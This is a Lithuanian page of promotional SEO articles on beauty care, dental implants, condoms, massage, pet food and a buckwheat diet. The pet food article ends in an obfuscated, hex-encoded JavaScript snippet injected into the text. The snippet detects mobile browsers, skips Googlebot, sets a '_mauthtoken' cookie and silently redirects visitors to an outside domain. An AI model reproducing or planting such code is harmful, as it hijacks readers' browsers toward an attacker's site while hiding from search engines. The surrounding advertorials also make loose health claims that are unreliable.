Jei nesame apdovanotos tobula genetika

Kiek laiko per parą skiriate savo grožio puoselėjimui? Žinoma, jei jūsų genetika yra tiesiog tobula, greičiausiai pateiksite labai panašų atsakymą. Tačiau jei jūsų situacija yra kaip ir daugumos moterų – akivaizdu, kad atsakymai bus labai įvairūs. Trumpiau tariant, bene kiekviena moteris susiduria su vienokiomis ar kitokiomis veido odos ir plaukų problemomis. Vienoms labiau lūžinėja plaukų galiukai, kitoms tenka kovoti su aknės problema ir kt. – problemų gali būti labai daug ir įvairių. Juk visiškai suprantama, kad skiriasi genetika, grožio priežiūra, gyvenimo būdas ir kiti veiksniai. Taigi, kai yra tiek daug skirtumų ir kiekviena situacija yra tokia individuali bei išskirtinė, visuomet pirmiausia reikėtų įvertinti savąją situaciją. Tokiu atveju bus kur kas lengviau pasiekti norimus rezultatus.

FotoepiliatoriusŽinoma, kaip ir kiekvienai moteriai, taip ir jums – reikėtų išsiaiškinti savo odos tipą. Tai gali būti normali oda, sausa, riebi, mišri ir kt. Kiekvienas odos tipas reikalauja vis kitokių odos priežiūros sprendimų. Kiekviena oda yra savita, jau nekalbant apie įvairias individualias odos problemas, pvz., aknę, alergiją, pigmentines dėmeles, raukšleles, odos įlinkimus ir kt. Todėl žinodamos konkrečias problemas ir odos tipą, galėsite lengviau išsiaiškinti, kokios grožio priežiūros priemonės galėtų būti pačios efektyviausios. Kita vertus, reikia suprasti, kad net ir tokiu atveju jums gali kilti daugybė įvairių klausimų, todėl nepraleiskite progos apsilankyti pas specialistus, kurie įvertintų tikrąją situaciją ir galėtų pateikti labai naudingus patarimus.

Tačiau vėlgi, reikia pabrėžti, kad grožio priežiūros produktai nėra viskas, ko reikia jūsų grožio priežiūrai. Ne ką mažiau svarbu ir kokius papildomus prietaisus naudojate. Ir šiuo atveju turime galvoje plaukų džiovintuvus, plaukų formavimo ir plaukelių šalinimo priemones bei kt. Kiekviena papildoma priemonė turi savo paskirtį, todėl jei pasitelkiate vieną ar kitą – turėtumėte labai gerai išsiaiškinti, kaip ir kada tai būtų rekomenduojama naudoti.

Be to, nereikia pamiršti, kad nemaža dalis moterų kasdien plaukelių šalinimui pasitelkia įprastinius skutimosi peiliukus, kurie dažnai pažeidžia odą, sukelia alergiją ir pridaro daug kitų problemų. Jei ir jums visa tai nėra svetima, galite rinktis fotoepiliatorius, kurie nedirgina odos ir padeda odos plaukelius pašalinti kur kas efektyviau, be jokios galimybės įsipjauti.

Tuo tarpu, jei kasdien naudojate plaukų džiovintuvą, taip pat turėtumėte išmokti juo tinkamai elgtis. Nors daugumai moterų tai gali pasirodyti pakankamai keistas patarimas – juk iš pirmo žvilgsnio tai yra labai paprasta, tačiau iš tiesų dažnai džiovintuvai naudojami netinkamai. Tai reiškia, kad jei plaukus džiovinate labai karštu oru ir džiovintuvą laikote labai arti savo plaukų – akimirksniu galite juos pažeisti. Ir nors ši informacija yra labai abstrakti, ji neabejotinai turėtų padėti jums suprasti, kad kiekvienas grožio priežiūrai skirtas prietaisas turėtų būti naudojamas tinkamai.

Kita vertus, labai svarbu ir tai, kokia yra jūsų kasdienė grožio priežiūros rutina bei koks yra jūsų tikrasis gyvenimo būdas. Pavyzdžiui, jei kasdien maitinatės nereguliariai ir pakankamai nesveikai, o jūsų grožio priežiūros rutina yra padrika ir nesisteminga, tikrai negalėsite tikėtis tobulo grožio. Tobulas grožis savo ruožtu reikalauja didelio atsidavimo ir kompleksinių veiksmų. Turite labai daug dėmesio skirti savo mitybai, sportui, grožio priežiūros priemonėmis, poilsiui, streso vengimui ir kt. Viskas yra svarbu, kai kalbame apie grožį, todėl jei norite kuo puikesnių rezultatų, visu tuo pradėkite rūpintis jau dabar.

Dantų implantai – palankus pasirinkimas netekus danties

Dantų netenkama dėl įvairiausių priežasčių, ir gana dažnais atvejais tai kelia didelį diskomfortą. Dantų trūkumas bjauroja estetinį vaizdą, nėra užtikrinama visavertė kramtymo funkcija, tad tenka pagalvoti apie galimybes, kurios galėtų padėti atstatyti prarastus dantis. Vienas palankiausių pasirinkimų – tai modernūs dantų implantai, kurie šiandien yra pats moderniausias sprendimas, kada norima atkurti prarastus dantis. Implantavimą šiandien siūlo tikrai nemažai įvairių klinikų, tad kiekvienu atveju yra galimybė atrasti tokią, kuri geriausiai pateisintų jūsų poreikius. Taigi, kaip pasirinkti kliniką?

Būkite atidūs rinkdamiesi kliniką

  • Dantų implantavimasGana dažnais atvejais yra svarbu tai, kiek kainuoja dantų implantai, ir įvairių klinikų nustatytos kainos gali labai varijuoti. Palyginti kainas galėsite tiesiog internetinėje erdvėje, ir tam jums tikrai neteks paskirti pernelyg daug laiko. Atkreipkite dėmesį  tai, ar kainą sudaro visos reikalingos procedūros, ar tik pagrindinis dirbtinio danties elementas – įgręžiamas implantas;
  • Dar vienas svarbus dalykas yra klinikos patikimumas. Dažniausiai pacientai renkasi tas klinikas, kuriose yra tekę lankytis anksčiau, ar tose, kurias rekomenduoja draugai ar giminaičiai. Vis dėlto, taip pat atsiliepimų ir rekomendacijų galima rasti internetinėje erdvėje, ir tai tikrai padės paprasčiau įvertinti klinikos patikimumą;
  • Gana svarbus dalykas yra tai, koks yra klinikos darbo laikas – juk čia dažniausiai norima apsilankyti po darbo arba laisvomis dienomis. Galima rasti tokių klinikų, kurių darbo laikas yra pakankamai ilgas, tad tikrai neturėtų kilti sunkumų čia apsilankyti;
  • Taip pat kartais norima, kad apsilankyti pas odontologą būtų galima kuo greičiau, taigi, palanku pasidomėti, kada būtų galima užsiregistruoti vizitui. Įsitikinsite patys, kad visada galima susirasti tokių klinikų, kuriose būtų galima apsilankyti pakankamai greitai, taigi, tai taip pat gali turėti įtakos tinkamiausiam pasirinkimui;
  • Dantų implantavimas susideda iš kelių etapų: pirminio vizito, implanto įgręžimo, gijimo ir implanto galvutės uždėjimo. Pas odontologą reikės apsilankyti mažiausiai tris kartus, tad renkantis kliniką dažnai yra svarbu ir tai, kad ji būtų įsikūrusi pakankamai patogioje vietoje. Nors įvairiuose nedideliuose miestuose galima rasti tokių klinikų, kuriose nustatytos kainos būtų mažesnės, tačiau dažniausiai tai nepadeda sutaupyti, nes iki klinikos tenka važiuoti nemažus atstumus, o tai ir kainuoja, ir atima gana nemažai laiko.

Jei įvertinsite visus šiuos svarbiausius kriterijus, tikėtina, kad pasirinkti tinkamiausią kliniką bus galima kur kas paprasčiau. Įsitikinsite, kad šiandien įvairių odontologijos klinikų, kuriose atliekamas implantavimas,  galima rasti iš tiesų nemažai, tad kiekvienu atveju bus galima atrasti pačius palankiausius pasirinkimus, kurie gali tikrai puikiai pasiteisinti. Ieškantys aukštos kokybės dantų implantavimo klinikos, gali apsilankyti internetinėje svetainėje www.kristoforoklinika.lt

Dantų implantai paprastai tarnauja kelis dešimtmečius, tad renkantis kliniką, kurioje yra atliekamas dantų implantavimas, vertėtų būti itin atidiems, neskubėti apsispręsti, ir pasirinkti patį palankiausią sprendimą.

SEO Paslaugos ir straipsnių talpinimas

Administruojame šį ir dar maždaug 30 kitų projektų, siūlome reklaminių SEO straipsnių talpinimą maždaug 100 skirtingų projektų – tiek bendrose, tiek konkrečiose nišose. Norintiems pasiekti didesnę auditoriją siūlome šiuos paketus:

  • Jūsų parašyto reklaminio straipsnio patalpinimas projekte AsMadinga.lt – €5
  • Mūsų parašyto reklaminio straipsnio patalpinimas projekte AsMadinga.lt – €7
  • Jūsų parašytų 5 straipsnių talpinimas skirtinguose projektuose – €18
  • Mūsų parašytų 5 straipsnių talpinimas skirtinguose projektuose – €32
  • Jūsų parašytų 10 straipsnių talpinimas skirtinguose projektuose – €30
  • Mūsų parašytų 10 straipsnių talpinimas skirtinguose projektuose – €60

Domina vienas iš šių paketų ar reklaminės nuorodos 3/6/12 mėnesių laikotarpiui?

Susisiekite su mumis – info@straipsniu-katalogas.info .

Grožio priežiūrą sudaro ne tik kosmetologai, plaukų stilistai ar vizažistai

Jau ne vienerius metus grožis turi labai didelę įtaką žmonių gyvenimui, sėkmei, geresniam darbui, aplinkinių pripažinimui, teigiamam žinomumui ir kt. Trumpiau tariant, grožio kultas yra labai madingas, todėl visiškai nenuostabu, kad tiek daug žmonių savo išvaizdos puoselėjimui ima skirti vis daugiau dėmesio, pastangų ir laiko. Žinoma, kartais norint būti gražiems, patraukliems ir pasitikintiems savimi, nepakanka apsilankyti pas kosmetologą, vizažistą ar plaukų stilistą. Kai kuriais atvejais tenka nemažai dėmesio skirti ir lankymuisi odontologo kabinete – juk kiekvienas norime turėti gražią ir sveiką šypseną, kuri būtų lyg mūsų vizitine kortele.

Dantų implantaiIr iš tiesų, tinkama dantų priežiūra – tai yra didelė mūsų grožio puoselėjimo sudedamoji dalis. Nepaisant to ar jūsų genetika yra tobula ir jūsų giminėje nebuvo nei vieno žmogaus, kuris turėtų silpnus bei probleminius dantis, turite labai kruopščiai ir nuoširdžiai prižiūrėti savo dantis bei pasirūpinti nepriekaištinga burnos higiena. Be abejo, nereikia pamiršti, kad pasitaiko atvejų, kai viso to nepakanka ir yra būtinas dantų implantavimas. Ir nors galite sakyti, kad praradus vieną ar kitą dantį, jūs galite pasinaudoti dantų protezais, tai anaiptol ne visuomet yra pats tinkamiausias ir patogiausias sprendimas. Ypač, jei kalbame apie jaunesnio amžiaus žmones, kurie nori kur kas didesnio komforto. Be to, reikia atminti, kad šiuolaikiniai dantų implantai yra gerokai pažengę į priekį. Tiesą sakant, dabar tai yra tikras medicinos stebuklas, kuris žmonėms suteikia naują gyvenimą. Todėl netekus vieno ar kito danties, nereikėtų pulti į neviltį, manant, kad jūsų gyvenimas baigtas ir jums daugiau nebeteks nuoširdžiai šypsotis bei nevaržomai bendrauti su aplinkiniais žmonėmis. Šiomis dienomis visuomet galima rasti puikią išeitį, padedančią dideles problemas įveikti akimirksniu.

Taigi, jei minėta situacija būdinga ir jums, visų pirma pasinaudokite internetu ir peržiūrėkite jūsų mieste veikiančias odontologijos klinikas, kurios siūlo ne tik įprastinį karieso pažeistų dantų taisymą, tačiau taip pat ir dantų implantavimo paslaugas. Tuomet pasirinkite jums patinkančią kliniką ir susisiekite dėl pirmojo vizito, kurio metu profesionalus odontologas įvertins jūsų būklę ir pasiūlys efektyviausią sprendimą.

Aukščiausios kokybės prezervatyvai internetu

prezervatyvai internetuAukščiausios kokybės prezervatyvai gali padėti apsisaugoti nuo lytiškai plintančių ligų, tačiau tai dar nereiškia, kad turite rinktis pačius pigiausius gaminius. Tai ir yra didžiausia klaida, kuomet vyrai renkasi mažiausios kainos prezervatyvus nė nenutuokdami, jog jie negali padėti apsisaugoti. Taip pat įtaką prezervatyvų pasirinkimui daro ir kainos, nes prekybos centruose ir vaistinėse jos yra gana didelės. Bet, jeigu jūs norite kokybiškų apsaugos priemonių geriausiomis kainomis, tai tiesiog tuos prekybos centrus turėtumėte pamiršti. Geriausia būtų rinktis specialias internetines parduotuves, kuriose prezervatyvai siūlomi su daug mažesniu antkainiu. Tai reiškia, kad tie aukščiausios kokybės prezervatyvai kainuoja ženkliai pigiau.

Visi prezervatyvai internetu turi būti pasirenkami tik pagal geriausius gamintojus. Kaina jau tikrai neturėtų daryti įtaką pasirinkimui, nes vis dėlto – ten ir garsiausių prekinių ženklų apsaugos priemonės yra žymiai pigesnės. Internetu prezervatyvus jūs turėtumėte pirkti tik tuo atveju, kai įsitikinate, kad pasirinkta vieta prekiauja originaliais gaminiais, nes mat dabar yra įvairių sukčių, kurie siūlo klastotes už panašias kainas. Paprasčiausiai, galima internete aptikti tokius pardavėjus, kurie neva originalius prezervatyvus parduoda per pus pigiau nei didžiausios el. parduotuvės. Tokiais pasiūlymais tikrai neverta susigundyti, nes liksite apgauti.

Norint internetu įsigyti itin kokybiškus prezervatyvus, jokiu būdu nereikėtų jų ieškoti skelbimų portaluose. Ten įprastai rasite pavienius pardavėjus, kurie tikėtina užsiima nelegalia prekyba. Tokie pardavėjai dažniausiai ir siūlo nekokybiškus prezervatyvus bei klastotes žymiai mažesnėmis kainomis. Turite suvokti, kad itin pigūs prezervatyvai dažniausiai yra labai prastos kokybės, jie tiesiog nėra patvarūs, todėl lytinio akto metu jie tiesiog neatlaikys. Tokiu atveju jūs rizikuojate sulaukti aukščiau minėtų pasekmių.

Kokybiškus prezervatyvus jūs galite įsigyti iš kiek saugesnių vietų. Tai yra specialios internetinės parduotuvės, kurios prekiauja įvairių gamintojų prezervatyvais ir ne tik. Ten rasite nemažą asortimentą, todėl ir pagal kainą, ir pagal rūšį galėsite prezervatyvus rinktis saugiai. Ten visi gaminiai dažniausiai siūlomi tiek po vieną vienetą arba rinkiniais. Ypač dažnai siūlomos nuolaidos, tad tikrai nereikės smarkiai išlaidauti.

Gydomasis masažas Vilniuje: ar verta kreiptis į privačius masažuotojus?

gydomasis masažas vilniujeKiekvienas gydomasis masažas Vilniuje turi būti atliekamas tik šią sritį išmanančio profesionalo, todėl jokiu būdu nerekomenduojama kreiptis į neaiškius masažo paslaugas siūlančius asmenis, nes didelė tikimybė, kad jie nėra patikimi ir žinantys ką daro. Gydomieji masažai dažniausiai paskiriami gydytojų, tačiau kartais ir specialūs salonai gali juos atlikti atsižvelgiant į kliento būklę. Tai reiškia, kad įvairių traumų atveju gydomieji masažai gali būti atliekami ir be gydytojų rekomendacijų. Tokiu atveju reikėtų kreiptis į profesionalius salonus arba sveikatingumo klinikas. Masažų kainos priklauso tiek nuo jų tipo, tiek nuo seanso trukmės, tiek ir nuo specialisto kompetencijos.

Būtina pabrėžti, kad geriausi masažo specialistai tikrai nedirba už kelis eurus – seansas pas juos gali kainuoti gana brangiai. Tačiau, jeigu kreipsitės į nepatikimus asmenis, kurie teikia masažo paslaugas neturėdami kompetencijos, tai pas juos sumokėsite irgi nemažas suma, bet rezultato nematysite jokio. Profesionalus gydomasis masažas trunka ne kelias minutes, jis gali trukti ir porą valandų. Priklausomai nuo trukmės, kinta ir masažo kaina. Verta pabrėžti, kad dauguma traumas patyrusių žmonių kreipiasi iškart į profesionalus ir sutinka mokėti atitinkamas sumas, nes vis dėlto – jie rezultatą gali matyti iš karto po pirmo seanso. Bet, yra tokių traumų, kurių gydymui gali tekti pasinaudoti keliais tokiais seansais.

Kalbant apie masažo kainas, tai nereikėtų iškart manyti, kad jos yra didelės. Yra būdų ir sutaupyti. Pirmiausia, jeigu jūs ketinate pasinaudoti ne vienu masažo seansu, tai jums labiau tiktų abonementas, nes bendroje sumoje gautųsi gerokai pigiau, nei kaskart kreipiantis iš naujo. Taip pat galima surasti ir nemažai akcijų. Internete aptikti nuolaidas siūlančius masažo specialistus nėra sudėtinga – vedate tokį terminą kaip „masažai Vilniuje akcija“ ir gaunate visus pasiūlymus.

Masažo paslaugas teikiantys salonai, klinikos bei privatūs asmenys nustato skirtingus paslaugų įkainius, nes kiekvienoje vietoje gali būti naudojama skirtinga masažo metodika, įranga ir t.t. Prieš kreipiantis dėl masažo paslaugų, būtinai pasidomėkite kokio tipo masažas jums būtų naudingiausias, siekiant panaikinti nugaros skausmus.

Daugiau informacijos svetainėje http://tailandomasazai.lt

Stebuklinga masažo galia

masazas

masazas

Masazas – tai ne tik puikus atsipalaidavimo, bet ir gydymo būdas. Manoma, kad masažai atsirado kartu su žmonija. Kiekvienoje kultūroje ir epochoje buvo naudojamos išskirtinės masažo metodikos, padedančios išgydyti įvairius skausmus. Be to, kartais nejučiomis ir patys pradedame masažuoti vietą, kurią skauda – visa tai rodo, kad masazas yra geros savijautos užtaisas.

Be abejo, šiandien masažo technikos yra pagrįstos mediciniškai – visi medikai pripažįsta, kad ši procedūra turi ypatingą gydomąją galią. Tinkamai atliktas jis gerina kraujotaką ir limfotaką, taip pat nervų sistemą, mažina sąnarių skausmus, teigiamai veikia raumenis, virškinimo bei kvėpavimo sistemą. Ypač pastebima psichologinė masažo nauda. Masazas vilniuje – puikus būdas atsipalaiduoti, sumažinti stresą, pasisemti daugiau energijos. Apskritai, masažas prilyginamas miegui ir meditacijai, o tokia būsena skatina viso organizmo jaunėjimą ir sveikimą.

Manoma, kad vienas geriausių masažų atliekamas naudojant aliejus, kadangi jie suminkština, pamaitina, sustangrina, atjaunina odą ir padeda sustabdyti senėjimo procesus.

Gali būti atliekamas tiek segmentinis, tiek viso kūno masažas. Jeigu žmogus reguliariai naudojasi masažo paslaugomis tam, kad išgydyti kokius nors negalavimus – tai vadinama masažo terapija. Masažą atlieka patyrę, kvalifikuoti šios srities profesionalai. Be to, šiandien gana paplitęs ir erotinis masazas, kuris naudojamas meilės žaidimuose arba sekso industrijoje. Ne mažiau populiarus ir kineziterapinis masažas, kuriuo stiprinama sveikata, atkuriamas darbingumas, sugrąžinama prarasta energija. Be to, dažnai masažas atliekamas naudojant papildomus prietaisus – specialius masažuoklius. Tokie prietaisai palengvina specialisto darbą ir apskritai leidžia šį darbą atlikti patiems. Pabrėžtina ir tai, kad šiandien masažai tapo spa procedūrų sudedamąja dalimi.
Nugaros masažas – kaip išmokti atlikti pačiam?

Nugaros masazas padeda atsikratyti nugaros ir pečių skausmų. Jeigu norite palepinti savo antrąją pusę nugaros masažu, svarbu įsidėmėti kelias taisykles kaip daryti masaza, kadangi neteisingai atliktas jis gali sukelti nemažai žalos. Visų pirma, reikia išsiaiškinti, kur yra spaudimo taškai. Yra penki pagrindiniai spaudimo taškai: nugaros viršuje, kur susiduria nugara ir kaklas; tarp menčių; alkūnės lygyje, žemiau dubens; po rankų duobute. Pasidomėkite, kaip reikia spausti šiuos taškus, kad jūsų masažas atneštų naudos, o ne žalos.
Svarbu prisiminti svarbią taisyklę, kad jokiu būdu negalima atlikti masažo žmogui, kuris serga kokia nors infekcine, odos liga, karščiuoja, turi širdies sutrikimų. Jokiu būdu nemasažuokite vietų, kur yra gumbai, navikai, įvairūs sumušimai ir žaizdos.
Atsiminkite, kad masažuojant nugarą svarbu atlikti simetriškus veiksmus – negalima vienos nugaros pusės masažuoti daugiau nei kitos. Be to, masažas turi būti pradedamas lengvais judesiais.

Masažo metu naudokite aliejus arba gydomuosius tepaliukus. Aliejais masažą atliksite daug lengviau, kadangi jis padeda rankoms lengviau slysti. Taip pat aliejai turi daug naudingų medžiagų, kurios prasiskverbia į odą ir teigiamai ją veikia. Yra daugybė aliejų, turinčių įvairių gydomųjų savybių, todėl nepatingėkite paieškoti tinkamiausio.
Svarbu žinoti ir tai, kad masažas atliekamas keturiais pagrindiniais judesiais: glostymo, trynimo, plekšnojimo, minkymo. Glostymo judesius patartina atlikti pradedant ir užbaigiant masažą. Šis masažo būdas nuramina nervų sistemą ir sušildo kūną. Po glostymo palaipsniui prieinama prie kitų masažo būdų. Kitas gali būti trynimo būdas – jis turi daugiau gydomųjų galių – teigiamai veikia raumenis, didina sąnarių lankstumą, gerina kraujo apytaką. Vėliau gali būti naudojamas plekšnojimas – tačiau šie judesiai neturi būti atliekami jėga. Šis masažo būdas naudojamas vietose, kur yra daug raumenų. Vėliau galima panaudoti ir minkymo būdą – šis būdas geriausiai padeda atsikratyti skausmų.

Masažo rūšys. Erotinis masažas.

Fizinės ir emocinės būklės gerinimas liečiant – vienas seniausių natūralių gydymo būdų. Masažuojant atliekama daugybė judesių, kuriais stimuliuojami ar atpalaiduojami raumenys, gerėja kraujotaka, sparčiau sveikstama nuo daugybės ligų. Masažą galima derinti su kvapų terapija, nes į odą įtrynus eterinį aliejų ar jais pakvėpintų losjonų gydomasis poveikis būna daug didesnis.

masazasLytėjimas – vienas svarbiausių pojūčių, kurį patiriame dar būdami gimdoje. Kinų gydytojai tokį sveikatinimo būdą taiko jau ne vieną tūkstantmetį. Šioje šalyje masažas, taip pat akupunktūra, yra tradicinės gydymo sistemos dalis. Masažą skirdavo ir senovės graikų bei romėnų gydytojai, tačiau viduramžiais Vakarai jį pamiršo. Šis gydymo būdas vėl plačiai paplito XIX a. pradžioje, kai švedas peras Henrikas Lingas (Henrik Ling) sukūrė švediškąjį gydymą judesiais, vadinamąjį švediškąjį masažą.

Masažo rūšys: gydomasis masažas, atpalaiduojantis masažas, giluminis masažas, egzotinis masažas, taškinis masažas, erotinis masažas.

XX a. sukurta daugybė masažo metodikų. Vienos jų grindžiamos Lingo metodu, kitos – kinų bei japonų medicinos tradicija. Visos jos naudingos raumenims, nes esant įtampai juos atpalaiduoja, o suglebusius – tonizuoja. Be to, masažas daro ir kitokį poveikį: gerina kraujo ir limfos apytaką.

Kaip teigia kinų medicinos žinovai, masažas taip pat spartina gyvybės energijos, t. y. Ii, tėkmę kanalų, vadinamų meridianais, tinklu. Taip energija sparčiau patenka į visus organus, todėl masažas gali būti naudojamas daugybei ligų gydyti. Vienas ypatingas gydymo būdas, vadinamasis šiat- su, paremtas Japonijoje sukurta masažo metodika. Veikiami tam tikri taškai, kuriuose, kaip manoma, meridianai (t. y. energijos kanalai) yra arčiausiai odos. Tikima, kad taip galima reguliuoti energijos tėkmę.

Taip pat masažai skirtomi į atskirų kūno vietų masažus: nugaros masažas, kojų masažas, kaklo masažas, pėdų masažas, veido masažas, prostatos masažas.

Užsirašę profesionalaus masažo seansui, veikiausiai išgirsite patarimą tą dieną negerti alkoholio ir prieš procedūrą apie dvi valandas nevalgyti.

Masažavimo būdas bus parinktas pagal jūsų negalavimus. Specialistas gali visą dėmesį sutelkti į vieną kūno dalį arba masažuoti visą kūną. Gydymas neturi kelti skausmo, nors bandant atpalaiduoti sustingusius raumenis gali atsirasti ir nemalonių pojūčių. Baigiantis seansui, masažuotojas gali (bet nebūtinai) jus „įžeminti“ 1 apie 20 sekundžių suėmęs palaikyti pėdas. Paskui lieps valandėlę ramiai pagulėti.

Po masažo galite pasijusti atsipalaidavę arba pažvalėję. Raumenys gali būti truputį sustingę, ypač jei prieš tai juos skaudėjo.
Jei tikimasi, kad masažas būtent taip paveiks raumenis, masažuotojas gali patarti grįžus namo 30 min. pagulėti šiltoje vonioje, o po jos energingai išsitrinti rankšluosčiu.

Gyvūnų maistas – pigu, greita ir sveika

Įvairiausi gyvūnai ir gyvūnėliai seniai tapo daugiau nei tik maisto šaltinis ar darbo jėga. Įvairios civilizacijos jau kelis tūkstantmečius augina kates, šunis bei kitus gyvūnus dėl jų grožio ar tiesiog kompanijos. Kiekvienas savo gyvūnėlį mylintis žmogus, jį lepina ir stengiasi maitinti kuo kokybiškiau, todėl atsirado įvairus specializuotas maistas gyvūnams ir gyvūnėliams.

Pagrindinės priežastys lėmusios, kodėl žmonės savo gyvūnams perka specialų maistą yra trys: pigu, greita, sveika. Visų pirma šerti savo naminį augintinį specializuotu gyvūnų maistu yra žymiai pigiau nei tuo, kurį valgome patys.

akita-inu-4

Specializuotas sausas, konservuotas ar džiovintas gyvūnų maistas gaminamas itin dideliais kiekiais, todėl jo savikaina ganėtinai nedidelė. Taip pat gyvūnų maistas gaminamas taip, jog būtų labiau maistingas ir sotus, nei skanus, todėl jo gamybai nenaudojami skonio stiprikliai ar kokios nors ypatingos technologijos. Nedidelė savikaina ir tai, jog gyvūnams daug svarbiau maistinė produkto vertė, o ne jo skonis lėmė tai, kad ėdalo kaina yra ženkliai mažesnė už žmonių mėgstamo maisto.

Turbūt ir neverta aiškinti, kiek daug laiko sutaupome savo naminius gyvūnus šerdami jau paruoštu ėdalu. Užtenka praplėšti ėdalo pakuotę ir į šuns indelį įpilti sauso ėdalo, turbūt tai pats lengviausias maisto ruošimo procesas, koks tik gali būti. Greitas paruošimas, lemiantis asmeninio laiko taupymą, greičiausiai ir lėmė tai, jog sausas šunų ir kačių ėdalas tapo toks populiarus.

Maistas gyvūnams netik taupo Jūsų laiką ir yra pigus, tačiau kartu yra labai sveikas. Greičiausiai visi žinote, jog gyvūnai jaučia koks maistas yra geras ir maistingas, o kuris tiesiog greitas pusfabrikatis. Jei kada nors bandėte savo šuniui sušerti bulvių traškučių ar dar kokio nors greito ir itin nesveiko maisto, turbūt pastebėjote, jog gyvūnas jų net neragavo. Tuo tarpu šuo ar katinas net nesusimastydamas godžiai kemša specializuoto sauso ėdalo kubelius. Taip yra todėl, jog specializuotas gyvūnų maistas gaminamas tik iš sveikų, pirmarūšių produktų.

Taigi specializuotas naminių gyvūnų maistas taupo šeimininko brangų laiką, yra ganėtinai pigus ir tuo pačiu sveikas ir maistingas pačiam gyvūnui.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Grikių dieta – tik stipriausioms

Jei reikia greitai ir efektyviai numesti svorio, visuomet tenka išgirsti siūlymo laikytis grikių dietos. Ši dieta priskiriama mono dietoms, kadangi jos pagrindą iš esmės sudaro vienas produktas – grikiai.

Grikių dietos principai

Grikių dieta rekomenduojama 7 dienoms. Jos metu valgoma grikių košė, kuri ruošiam be riebalų, druskos ar prieskonių. Paruošimas paprastas: tereikia nuplauti grikių kruopas, supilti į indą ir užpilti vandeniu. Palikti brinkti kelioms valandoms arba geriau užpilti iš vakaro. 100 g grikių kruopų pilnai užtenka dienai.

svoris

